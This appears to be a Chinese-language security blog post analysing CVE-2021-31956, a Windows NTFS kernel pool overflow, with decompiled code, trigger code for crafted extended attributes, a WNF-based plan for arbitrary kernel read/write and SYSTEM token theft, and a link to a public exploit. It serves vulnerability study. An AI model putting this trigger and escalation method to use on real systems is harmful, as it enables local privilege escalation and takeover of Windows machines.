<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    CVE-2021-31956分析與利用

    VSole2022-03-04 16:47:34

    一、漏洞概括

    CVE-2021-31956是由Windows Ntfs組件系統存在整形溢出所導致,該漏洞可導致本地權限提升。

    二、漏洞復現環境

    三、漏洞成因

    該漏洞發生在ntfs.sys中的NtfsQueryEaUserEaList函數中。

    _QWORD *__fastcall NtfsQueryEaUserEaList(_QWORD *a1,FILE_FULL_EA_INFORMATION *CurrentEas,__int64 a3, __int64 PEaBuffer,unsigned int UserBufferLength,FILE_GET_EA_INFORMATION *pUserEaList,char a7){. . . . . .  while ( 1 )  {     // 索引ealist中的成員,用作下面的查找。    v11 = (FILE_GET_EA_INFORMATION *)((char *)pUserEaList + v9);    *(_QWORD *)&DestinationString.Length = 0i64;    DestinationString.Buffer = 0i64;    *(_QWORD *)&SourceString.Length = 0i64;    SourceString.Buffer = 0i64;    *(_QWORD *)&DestinationString.Length = v11->EaNameLength;    DestinationString.MaximumLength = DestinationString.Length;    DestinationString.Buffer = v11->EaName;    RtlUpperString(&DestinationString, &DestinationString);    // 檢查ealist中成員的name是否有效    if ( !(unsigned __int8)NtfsIsEaNameValid(&DestinationString) )      break;    v12 = v11->NextEntryOffset;    v13 = v11->EaNameLength;    v22 = v11->NextEntryOffset + v9;    // 遍歷查詢的EaList    for ( curEaList = pUserEaList; ; curEaList = (FILE_GET_EA_INFORMATION *)((char *)curEaList                                                                         + curEaList->NextEntryOffset) )    {      if ( curEaList == v11 )      {         v15 = offset;        // v16 分配的內核池        v16 = (_DWORD *)(PEaBuffer + padding + offset);          // 根據name查找對應的Ea信息        if ( NtfsLocateEaByName((__int64)CurrentEas, *(_DWORD *)(a3 + 4), &DestinationString, &FeaOffset) )        {          ea_block = (FILE_FULL_EA_INFORMATION *)((char *)CurrentEas + FeaOffset);          // 計算內存拷貝大小          RawEaSize = ea_block->EaValueLength + ea_block->EaNameLength + 9;        //防溢出檢查          if ( RawEaSize <= UserBufferLength - padding )          {            //溢出點            memmove(v16, ea_block, RawEaSize);            *v16 = 0;            goto LABEL_8;          }        }. . . . . .            if ( !a7 )            {              if ( v24 )                *v24 = (_DWORD)v16 - (_DWORD)v24;              //判斷是ealist中是否還有其他成員              if ( v11->NextEntryOffset )              {                v24 = v16;                // 總長度減去已經拷貝的長度                UserBufferLength -= RawEaSize + padding;                //padding的計算                padding = ((RawEaSize + 3) & 0xFFFFFFFC) - RawEaSize;                goto LABEL_26;              }            }. . . . . .}
    

    上面的代碼片段在循環遍歷文件中的每個EA拓展屬性,并將其拷貝到堆中,每次拷貝的大小為ea_block->EaValueLenght + ea_blocal->EaNameLength + 9。其中ea_block的結構如下:

        typedef struct _FILE_FULL_EA_INFORMATION {  ULONG  NextEntryOffset; //下一個同類型結構的偏移,若是左后一個則為0。  UCHAR  Flags;  UCHAR  EaNameLength; //eanam數組的長度,不包含0終止字符。  USHORT EaValueLength; //數組中每個ea值的長度  CHAR   EaName[1];} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
    

    在每次拷貝前有一個判斷溢出的檢查(RawEaSize <= UserBufferLength - padding),UserBufferLength是由參數傳入并在每次循環中遞減,padding由(padding = ((RawEaSize + 3) & 0xFFFFFFFC) - RawEaSize)計算而來,該表達式只會存在4個結果(0, 1, 2,3)。

    內存拷貝的目的地址(v16)由參數傳入,該參數是在NtfsCommonQueryEa函數中分配的內核池。

    . . . . .IrpSp = IoGetCurrentIrpStackLocation( Irp );. . . . .UserBufferLength = IrpSp->Parameters.QueryEa.Length;. . . . .if ( *(_BYTE *)(a2 + 64) )        {          v34 = v14;          v4 = ExAllocatePoolWithTag((POOL_TYPE)17, UserBufferLength, 0x4546744Eu);          v28 = v4;          v24 = 1;        } memset(v4, 0, v10); . . . . . . if ( v33 ){    v15 = NtfsQueryEaUserEaList(&v33, v30, (__int64)v27, (__int64)v4, v10, v33, v39);}. . . . . .                        (NtfsCommonQueryEa函數片段)
    

    根據以上分析,當我們能夠構造出“UserBufferLength < padding”時“RawEaSize <= UserBufferLength – padding”的溢出檢查就會失效,從而進行內核池溢出。

    總結來說,該漏洞有以下特點:

    a) NtfsCommonQueryEa函數可通過ZwQueryEaFIle函數調用,函數原型如下:

        NTSTATUS ZwQueryEaFile(  [in]           HANDLE           FileHandle, //文件句柄  [out]          PIO_STATUS_BLOCK IoStatusBlock,  [out]          PVOID            Buffer, //擴展屬性緩沖區(FILE_FULL_EA_INFORMATION結構)  [in]           ULONG            Length, //緩沖區大小  [in]           BOOLEAN          ReturnSingleEntry,  [in, optional] PVOID            EaList, //指定需要查詢的擴展屬性  [in]           ULONG            EaListLength,  [in, optional] PULONG           EaIndex, //指定需要查詢的起始索引  [in]           BOOLEAN          RestartScan);
    

    b) 溢出拷貝時數據和大小均可控。

    c) 可以覆蓋下一個內核池塊

    d) 內核池分配時大小可控,并且可以進行堆布局。

    四、漏洞觸發

    觸發思路

    我們可以使用NtSetEaFile函數來為我們自己創建的文件添加EA拓展屬性,其函數原型如下:

            NTSTATUS ZwSetEaFile(  [in]  HANDLE           FileHandle, //文件句柄  [out] PIO_STATUS_BLOCK IoStatusBlock,  [in]  PVOID            Buffer,  //設置的Ea屬性,指向FILE_FULL_EA_INFORMATION結構,該結構定義如上。  [in]  ULONG            Length //Ea屬性緩沖區的長度);
    

    該函數的第3個參數是一個FILE_FULL_EA_INFORMATION結構的緩沖區,用來指定Ea屬性的值。所以我們可以利用EA屬性來構造PAYLOAD, 在使用NtQueryEaFile函數來觸發。

    觸發步驟

    創建含有兩個FILE_FULL_EA_INFORMATION結構的數組。

    構造第一個FILE_FULL_EA_INFORMATION結構如下:

    curEa->Flags = 0;// EaNameLength + EaValueLength +9 等于當前結構的總大小, 這里構造為18,使padding=2.curEa->EaNameLength = 3;curEa->EaValueLength = 6;//NextEntryOffset指向下一個EA信息,必須4字節對齊。curEa->NextEntryOffset = (curEa->EaNameLength + curEa->EaValueLength + 3 + 9) & (~3);memcpy(curEa->EaName, ".PA", 3);RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1 , 6 , 0);
    

    構造第二個FILE_FULL_EA_INFORMATION結構如下:

    curEa = (PFILE_FULL_EA_INFORMATION)((PUCHAR)curEa + curEa->NextEntryOffset) ;curEa->NextEntryOffset = 0;curEa->Flags = 0;// 第二個結構總大小為104curEa->EaNameLength = 4;curEa->EaValueLength =100;memcpy(curEa->EaName, ".PBB", 4);RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1 , 100 , 0);
    

    調用NtSetEaFile函數來設置文件的Ea屬性。

    構造NtQueryEaFile函數的Ealist參數如下:

    memcpy(EaList->EaName, ".PA", strlen(".PA"));EaList->EaNameLength = (UCHAR)strlen(".PA");EaList->NextEntryOffset = 12; //必須4字節對齊  EaList = (PFILE_GET_EA_INFORMATION)((PUCHAR)EaList + 12);memcpy(EaList->EaName, ".PBB", strlen(".PBB"));EaList->EaNameLength = (UCHAR)strlen(".PBB");EaList->NextEntryOffset = 0;
    

    調用NtQueryEaFile函數來觸發漏洞,構造該函數的length參數為19,該參數可用來控制0環申請內存時的大小。

    調試

    內核池分配

     

    第一次內存copy

    padding的計算

    溢出檢查失效

    第二次內存拷貝時,成功溢出

    五、漏洞利用

    WNF簡介

    Windows Notification Facitily 是 Windows 中的一個通知系統。
    

    應用程序可以訂閱特定類型的事件(StateName標識),在每次狀態更改時可以進行通知。

    WNF在內核中的數據結構

    _WNF_NAME_INSTANCE

    +0x000 Header           : _WNF_NODE_HEADER  +0x008 RunRef           : _EX_RUNDOWN_REF   // 每一個WNF_NAME_INSTANCE結構都會根據StateName來掛到樹中。  +0x010 TreeLinks        : _RTL_BALANCED_NODE   // wnf Name(3環的StateName ^ 0x41C64E6DA3BC0074)  +0x028 StateName        : _WNF_STATE_NAME_STRUCT  +0x030 ScopeInstance    : Ptr64 _WNF_SCOPE_INSTANCE  +0x038 StateNameInfo    : _WNF_STATE_NAME_REGISTRATION  +0x050 StateDataLock    : _WNF_LOCK  // wnf 數據  +0x058 StateData        : Ptr64 _WNF_STATE_DATA  +0x060 CurrentChangeStamp : Uint4B  +0x068 PermanentDataStore : Ptr64 Void  +0x070 StateSubscriptionListLock : _WNF_LOCK  +0x078 StateSubscriptionListHead : _LIST_ENTRY  +0x088 TemporaryNameListEntry : _LIST_ENTRY  // 指向當前進程的 eprocess結構  +0x098 CreatorProcess   : Ptr64 _EPROCESS  +0x0a0 DataSubscribersCount : Int4B  +0x0a4 CurrentDeliveryCount : Int4B
    

    _WNF_SCOPE_INSTANCE

    +0x000 Header           : _WNF_NODE_HEADER  +0x008 RunRef           : _EX_RUNDOWN_REF  +0x010 DataScope        : _WNF_DATA_SCOPE  +0x014 InstanceIdSize   : Uint4B  +0x018 InstanceIdData   : Ptr64 Void  +0x020 ResolverListEntry : _LIST_ENTRY  +0x030 NameSetLock      : _WNF_LOCK  // 二叉樹,根據這個成員來查找對應的NAME_INSTANCE結構  +0x038 NameSet          : _RTL_AVL_TREE  +0x040 PermanentDataStore : Ptr64 Void  +0x048 VolatilePermanentDataStore : Ptr64 Void
    

    _WNF_STATE_DATA

    +0x000 Header           : _WNF_NODE_HEADER // 分配的內核池大小 +0x004 AllocatedSize    : Uint4B // 當前數據大小 +0x008 DataSize         : Uint4B +0x00c ChangeStamp      : Uint4B
    

    _WNF_STATE_NAME

    struct _WNF_STATE_NAME{    ULONGLONG Version : 4;                                                       ULONGLONG NameLifetime : 2;          // 根據此成員來區分不同的WNF類型                                      ULONGLONG DataScope : 4;                                                     ULONGLONG PermanentData : 1;                                                 ULONGLONG Sequence : 53;                                                 };
    

    WNF相關API

    NtCreateWnfStateName

    typedef NTSTATUS  (NTAPI * __NtCreateWnfStateName)(    _Out_ PWNF_STATE_NAME StateName,    _In_ WNF_STATE_NAME_LIFETIME NameLifetime,    _In_ WNF_DATA_SCOPE DataScope,    _In_ BOOLEAN PersistData,    _In_opt_ PCWNF_TYPE_ID TypeId,    _In_ ULONG MaximumStateSize,    _In_ PSECURITY_DESCRIPTOR SecurityDescriptor);
    

    用來創建一個WNF對象,該函數會在0環創建一個WNF_NAME_INSTANCE對象,大小為0xb8(WNF_NAME_INSTANCE + POOL_HEADER )。

    (NtCreateWnfStateName函數片段)

    NtUpdateWnfStateData

    typedef NTSTATUS (NTAPI * __NtUpdateWnfStateData)(    _In_ PWNF_STATE_NAME StateName,    _In_reads_bytes_opt_(Length) const VOID * Buffer,    _In_opt_ ULONG Length,    _In_opt_ PCWNF_TYPE_ID TypeId,    _In_opt_ const PVOID ExplicitScope,    _In_ WNF_CHANGE_STAMP MatchingChangeStamp,    _In_ ULONG CheckStamp);
    

    更新WNF StateData,當Length小于StateData->AllocateSize時會根據Length大小來分配內核池,否則會將Buffer中的數據拷貝到內核池中。

    if (!v12 && (a1->PermanentDataStore || (_DWORD)v6) || (v13 = v12) != 0i64 && v12->AllocatedSize < (unsigned int)v6){        ......    if (((*(_DWORD *)&a1->StateName >> 4) & 3) != 3 || PsInitialSystemProcess == (PEPROCESS)a1->CreatorProcess)    {        v21 = (_WNF_STATE_DATA *)ExAllocatePoolWithTag(PagedPool, (unsigned int)(v6 + 16), 0x20666E57u);        v25 = v21;    }    else    {        ......        v21 = (_WNF_STATE_DATA *)ExAllocatePoolWithQuotaTag((POOL_TYPE)9, (unsigned int)(v6 + 16), 0x20666E57u);        ......    }        ......memmove(&v13[1], v7, v6);v13->DataSize = v6;v13->ChangeStamp = i;v15 = a1->PermanentDataStore;......                                       (NtUpdateWnfStateData函數片段)
    

    NtQueryWnfStateData

    typedef NTSTATUS (NTAPI * __NtQueryWnfStateData)(    _In_ PWNF_STATE_NAME StateName,    _In_opt_ PWNF_TYPE_ID TypeId,    _In_opt_ const VOID * ExplicitScope,    _Out_ PWNF_CHANGE_STAMP ChangeStamp,    _Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer,    _Inout_ PULONG BufferSize);
    

    查詢指定stateName對應的stateData, 當BufferSize小于StateData->DataSize時,該函數會調用失敗,并返回C0000023。

    *a2 = v11->ChangeStamp;  *a5 = v11->DataSize;  v12 = v11->DataSize;  if ( a4 < v12 )  {    v14 = 0xC0000023;  }  else  {    memmove(a3, &v11[1], v12);    v14 = 0;  }              
    

    利用思路

    相對內存讀寫

    進行堆噴射,在0環中造成以下的內存布局。

    利用Ntfs Chunk覆蓋StateData中的DataSize成員, 后續就可以使用NtQueryWnfStateData API來讀取NAME INSTACE對象中的內容。覆蓋StateData中的AllocateSize成員,后續就可以使用NtUpDateWnfStateData API來修改NAME INSTACE對象中的內容。

    任意內存讀寫

    利用 State Data Chunk來覆蓋Name Instance chunk中的StateData指針,后續使用NtQueryWnfStateData和NtUpDateWnfStateData API來造成任意地址的讀寫(需要構造AllocateSize和DataSize成員)。

    利用過程

    1、按照如上所示進行內核池布局。

    2、利用相對內存讀取,讀取NAME INSTACE對象中的內容。(NAME INSTANCE對象中有兩個比較重要的成員StateName和CreatorProcess, 前者由于所有的NAME INSTANCE對象都保存在一個排序二叉樹中,破壞了StateName成員會導致系統無法找到相對應的NAME INSTANCE對象, 并且在進行噴射后我們也無法確定究竟是哪一個StateName對應的對象發生了溢出, 所以通過該方法可以準確定位到發生了溢出的NAME INSTANCE對象。后者標識了當前進程的Eprocess對象,可以通過該對象來遍歷所有進程的Eprocess結構)。

    3、利用相對內存寫入,修改NAME INSTANCE對象中的StateData成員為CreatorProcess (需要注意DataSize成員, 該成員直接影響讀取的字節數和是否能夠成功讀取)。

    4、利用任意內存讀取遍歷系統進程。

    5、找到對應的系統進程后,利用任意內存讀取獲取系統進程的token。

    6、利用任意內存寫入,修改當前進程的token(需要注意AllocateSize成員)。

    效果演示

    EXP

    EXP已在Github上開源,目前只在win 1903上經過測試,穩定性大概在80%。

    github傳送門(https://github.com/aazhuliang/CVE-2021-31956-EXP)

    參考文章:

    CVE-2021-31956(https://research.nccgroup.com/2021/07/15/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/)

    padding
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    一次成功的Shiro Padding Oracle需要一直向服務器不斷發包,判斷服務器返回,攻擊時間通常需要幾個小時。因為這些程序沒有對發包失敗拋出異常的情況做出處理,從而導致工具停止工作。最終,攻擊成功了,我虛擬機下花了不到1小時共計完成,但是在真實生產環境測試,攻擊成功一次DNS或者JRMPClient攻擊,程序需要跑大約4個小時左右,2次攻擊加起來近9個小時。
    Padre是一款功能強大的高級Padding Oracle安全測試工具,在該工具的幫助下,廣大研究人員可以輕松針對CBC模式加密執行Padding Oracle攻擊測試,以審查和測試目標加密模式的安全性。
    研究人員分析了搜狗輸入法的 Windows、Android 和 iOS 版本,發現搜狗使用了一個自己開發的加密系統 EncryptWall 加密敏感數據,而該加密系統存在 CBC 密文填塞(Padding Oracle)漏洞,允許網絡監聽者獲得加密網絡傳輸的明文,包括用戶輸入的內容。
    搜狗拼音輸入法加密系統爆安全漏洞可暴露用戶輸入。
    加拿大多倫多大學公民實驗室的研究人員分析了騰訊旗下的搜狗輸入法。該輸入法月活躍用戶超過 4.5 億,是中國最受歡迎的中文輸入法。
    近期,來自加拿大多倫多大學公民實驗室的研究人員在國內熱門輸入法——搜狗輸入法的加密系統中發現了漏洞,能允許網絡監聽者破譯用戶的輸入內容。目前該漏洞已得到修復。
    近期,來自加拿大多倫多大學公民實驗室的研究人員在國內熱門輸入法——搜狗輸入法的加密系統中發現了漏洞,能允許網絡監聽者破譯用戶的輸入內容。目前該漏洞已得到修復。
    在測試過程中遇到一個登錄框,看到前端加密的情況下對密碼處進行了簡單的加密分析在控制臺中打開網絡,匹配Fetch/XHR,可以看到password處進行了加密處理在js中全局搜索encrypt這里可以看到使用的是AES的ECB模式加密第一種方法使用python腳本來進行加密from Crypto.Cipher import AES
    實戰繞過阿里云WAF
    2022-04-25 09:17:37
    原創文章滲透實現滲透技術原創聲明:轉載本文請標注出處和作者,望尊重作者勞動成果!感謝!前言:下面的漏洞挖掘案
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类